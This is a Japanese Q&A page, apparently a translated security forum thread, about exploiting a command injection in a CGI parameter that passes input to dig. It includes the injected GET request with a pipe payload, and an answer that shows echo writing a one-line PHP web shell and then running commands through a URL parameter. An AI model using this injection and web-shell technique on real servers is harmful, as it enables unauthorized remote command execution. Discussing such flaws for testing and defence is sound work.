web-dev-qa-db-ja.com

Linuxの "echo"コマンドを悪用することは可能ですか?

今日のWebアプリケーションのテスト中に、LinuxターミナルでDigに引数を渡す関数に遭遇しました。少しいじった後、パイプを使用してエコーコマンドを渡し、入力を応答にエコーできましたが、他のコマンドを起動できませんでした。

さて、私の質問は、echoコマンドを悪意のある方法で使用して、システム上の機密ファイルにアクセスしたり、シェルを取得したりできることですか?

脆弱なGETリクエストは次のとおりです。

GET /cgi-mod/test.cgi?dig_device=8.8.8.8"|echo%20abc123%20|| HTTP/1.1
Host: test.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

そしてここに応答があります:

HTTP/1.1 200 OK
Server: TestServer
Date: Mon, 02 May 2016 11:03:40 GMT
Content-Type: text/html
Connection: close
Status: 200 OK
X-Frame-Options: SAMEORIGIN
Content-Length: 1576

<html><head><meta charset="utf-8" /><title></title></head><body><pre><!--                                                          
; &lt;&lt;&gt;&gt; Dig 9.4.1-P1 &lt;&lt;&gt;&gt; abc123
;; global options:  printcmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 32623
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;abc123.                IN  A

;; ANSWER SECTION:
abc123.         10  IN  A   104.239.213.7
abc123.         10  IN  A   198.105.254.11

;; Query time: 69 msec
;; SERVER: 4.2.2.1#53(4.2.2.1)
;; WHEN: Mon May  2 04:03:41 2016
;; MSG SIZE  rcvd: 56
4
Mico

はい。 echoを悪意を持って使用することができます。 >演算子を使用すると、悪意のあるコードである可能性のあるファイルに出力をリダイレクトできます。

echo 'Malicious_code_here' > Shell.php

WebサーバーがPHP=をサポートし、wwwディレクトリが書き込み可能である場合を考えてみましょう。

echo '<?php system($_GET["cmd"]);?>' > Shell.php

また、次の方法でシェルにアクセスできます。

http://url_of_the_website/Shell.php?cmd=whoami

これを使用して、Webサーバー上で任意のコマンドを実行できます。

6
Mukarram Khalid